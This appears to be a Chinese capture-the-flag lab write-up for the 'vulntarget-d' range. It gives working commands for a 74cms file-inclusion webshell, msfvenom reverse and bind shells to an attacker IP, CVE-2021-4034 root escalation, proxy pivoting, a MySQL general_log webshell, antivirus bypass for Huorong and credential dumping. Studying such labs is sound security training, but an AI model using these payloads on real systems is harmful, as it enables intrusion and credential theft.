vulntarget-d

2022-12-07 15:10:46 浏览数 (1)

机器密码 ubuntu:eval/vulntarget win7: crow/admin 拓扑

信息收集

扫描一下存活主机与端口,发现开放了80、81、888、3306、8888端口,有宝塔的服务

访问80端口也能看出是个宝塔页面的提示

81端口是个骑士cms,从底部可以看出其版本是74cms v6.0.20,是个开源的项目并且存在已知漏洞

搜索一下可以发现应该是存在文件包含的漏洞

漏洞利用

首先POST提交payload将一句话写入到日志

代码语言:javascript复制
/index.php?m=home&a=assign_resume_tpl
POST:variable=1&tpl=<?php fputs(fopen("tx.php","w"),"<?php eval($_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

然后POST提交文件包含日志生成webshell文件

代码语言:javascript复制
variable=1&tpl=data/Runtime/Logs/Home/22_12_05.log

接着就可以用蚁剑成功连接

Ubuntu提权

msf生成shell

代码语言:javascript复制
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.150.128 LPORT=4444 -f elf > test.elf

通过蚁剑上传并运行

代码语言:javascript复制
chmod 777 shell1.elf
./test.elf

然后kali开启msf并上线

代码语言:javascript复制
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.150.128
run

反弹shell

代码语言:javascript复制
python3 -c 'import pty; pty.spawn("/bin/bash")'

在桌面文件中存在一个flag:flag{welcome_to_vulntarget-d}

接着可以通过cve-2021-4034提权到root权限,先本地将其编译好再通过蚁剑上传后运行

内网渗透

可以得知内网段是205

上传fscan进行扫描

接着设置代理

代码语言:javascript复制
# 添加路由
run autoroute -s 192.168.205.0/24
run autoroute -p
代码语言:javascript复制
# 开启代理
use auxiliary/server/socks_proxy
set srvhost 192.168.150.128
set version 4a
run

发现存活主机:192.168.205.133

代码语言:javascript复制
use auxiliary/scanner/discovery/udp_sweep
set rhosts 192.168.205.100-200
run

扫描一些常见端口,可以发现开放了80、139、445、3306

代码语言:javascript复制
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.205.133
set ports 22,23,80,139,445,1433,3306,3389,8080
run

或者通过frp建立代理(设置的端口不能小于3000还是多少的,现在不开了

代码语言:javascript复制
./frps -c ./frps.ini
代码语言:javascript复制
./frpc -c ./frpc.ini &

访问80发现就一个hello world没啥用

接着扫一下目录发现phpinfo.php、l.php和phpmyadmin

然后phpmyadmin存在弱口令root/root

这里可以发现secure_file_priv为NULL,所以我们就不能直接写文件getshell

接着尝试写日志getshell

代码语言:javascript复制
# 查询general_log配置
show global variables like "%genera%";
# 开启日志
set global general_log=on;
# 修改日志文件名称和存放位置:
set global general_log_file='C:/phpstudy/PHPTutorial/www/shell.php';
# 写入一句话
select '<?php @eval($_POST[a]);?>'

蚁剑成功连接

进入后进行信息收集,不存在域也不存在下一层内网,打了四个补丁

接着检查进程是否有杀软,发现存在火绒

代码语言:javascript复制
tasklist /svc

所以接下来需要bypass火绒,做一个免杀马

https://github.com/crow821/crowsec/tree/master/BypassAV_360_huornog

通过蚁剑上传jpg、bin文件和加载器

代码语言:javascript复制
# 生成shellcode
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 7 -b 'x00' lport=4444 -f raw -o crowsec.jpg

启动cs,生成payload.bin

msf设置正向连接,蚁剑运行crowsec_shelllcodeBypass.exe成功上线

代码语言:javascript复制
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set lhost 192.168.150.128
run

然后可以直接getsystem得到system权限

在桌面找到flag:flag{happy_new_year_vulntarget-d}

后面猕猴桃抓密码没结果

解决办法: 查看一下进程,找到crowsec_shelllcodeBypass.exe,将进程迁移到x64位上去(要迁移到system的user上),然后再次执行命令,即可获取明文密码(忘了截图也懒得再去弄一个

代码语言:javascript复制
getpid
ps
migrate <pid>

0 人点赞